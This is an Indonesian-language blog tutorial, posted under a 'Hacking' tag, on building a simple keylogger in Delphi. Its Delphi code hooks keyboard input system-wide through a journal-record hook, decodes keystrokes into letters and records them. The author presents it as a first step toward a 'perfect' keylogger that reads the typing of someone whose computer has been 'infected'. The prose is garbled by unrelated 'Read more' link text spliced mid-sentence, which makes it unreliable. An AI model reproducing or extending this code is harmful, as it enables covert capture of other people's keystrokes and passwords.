Prinsip dasar pembuatan Keylogger

Keylogger merupakan sebuah aplikasi atau perangkat yangPengumuman Calon Asisten Praktikum Basisdata. Read more ... » digunakan untukTrik Aman Berinternet I. Read more ... » memantau aktifitas ketikan keyboard, nah dalamCara mengatasai Cannot modify header PHP. Read more ... » hal ini kitaCara mengatasai Cannot modify header PHP. Read more ... » lebih membahas tentangTanya Jawab seputar pemrograman. Read more ... » keylog sebagai aplikasi. Dimana aplikasi ini mampu membaca semua ketikan dari keyboard komputer seseorang yang terinfeksi keylog. Lalu apa sih tujuan tulisan ini??Oke, begini sebelum kita bisa membuat keylog yang perfect, disini sayaMembuka Command Prompt mode Administrator. Read more ... » coba membuat tulisan dan contoh keylog yang sederhana dibuat menggunakan delphi.

Berikut langkah – langkahnya :

  • Buka delphi dan buat tampilan seperti ini (komponen yang dibutuhkan : 2 GroupBox, 2 Button, dan 1 Memo).
Keylog Sederhana

Keylog Sederhana

  • Kemudian buat fungsi baru, caranya tekan Ctrl + F12 kemudian pilih Unit1 dan Ok. Ketikan berikut dibawah implementations :

======================== Mulai =========================
function JournalCallBackProc(Code: Integer; wParam, lParam: longint): LRESULT;stdcall;
var y : string ;
var x : cardinal ;
var ev : t_evt;
begin
ev := ptr(lParam);
x := ev.paramL ;

if ev.message = 256 then begin
case x of
283 : UnhookWindowsHookEx(hookhandle);
7745 : y := 'a' ;
12354 : y := 'b' ;
11843 : y := 'c' ;
8260 : Y := 'd' ;
4677 : y := 'e' ;
8518 : y := 'f' ;
8775 : Y := 'g' ;
9032 : y := 'h' ;
5961 : y := 'i' ;
9290 : y := 'j' ;
9547 : y := 'k' ;
9804 : y := 'l' ;
12877 : y := 'm' ;
12622 : y := 'n' ;
6223 : y := 'o' ;
6480 : y := 'p' ;
4177 : y := 'q' ;
4946 : y := 'r' ;
8019 : y := 's' ;
5204 : y := 't' ;
5717 : y := 'u' ;
12118 : y := 'v' ;
4439 : y := 'w' ;
11608 : y := 'x' ;
11353 : y := 'y' ;
5466 : y := 'z' ;
14627 : y := '' ;
14624 : y := ' ' ;
7181 : frmMain.Memo1.Lines.Add(' ');
end;
end;
bla := y ;
frmMain.Memo1.Text := frmMain.
Memo1
.Text + y ;
end;

========================= End =======================

  • Kemudian klik 2x pada Button baca dan ketikan berikut

======================== Mulai =========================

hookhandle := SetWindowsHookEx(WH_JOURNALRECORD, @JournalCallBackProc , Hinstance, 0);
if hookhandle = 0 then begin
Memo1.Lines.Add('Gagal Baca');
end
else
begin
Memo1.Lines.Add('Terbaca');
Button1.Enabled := FALSE; //button baca
Button2.Enabled := TRUE; //button stop
end;

======================== END =========================

======================== Mulai =========================

if UnhookWindowsHookEx(hookhandle) then begin
Memo1.Lines.Add('Stop membaca');
Button2.Enabled := FALSE;
Button1.Enabled := TRUE;
end
else

begin
Memo1.Lines.Add('UBerhenti');
end;

======================== END =========================

  • Selanjutnya pada Event FormCreate, caranya klik 2 kali pada Form Ketikan berikut :

======================== Mulai =========================
Button1.Enabled := TRUE;
Button2.Enabled := FALSE;
======================== END =========================

  • Terakhir pada event Memo Onkeypress ketikan berikut :

======================== Mulai =========================
createCaret(Memo1.Handle, 0, 8,15);
ShowCaret(Memo1.Handle);
SetCaretBlinktime(1500);
======================== End =========================

Selesai, namun program sederhana tersebut belum bisa berjalan, agar berjalan pada varJquery Validasi Angka, Huruf dan Email. Read more ... » tambahkan berikut

frmMain: TfrmMain;
hookhandle : HHOOK;
bla : string;

dan pada uses tambahkan ini ==> StdCtrls

Berikut hasil runningnya

Keylog Sederhana

Keylog Sederhana

Terima kasih, selamat mencoba dan mengembangkan…

by 1n53ct4

Posted in Delphi 7, Hacking, Programing, Security and tagged , , , .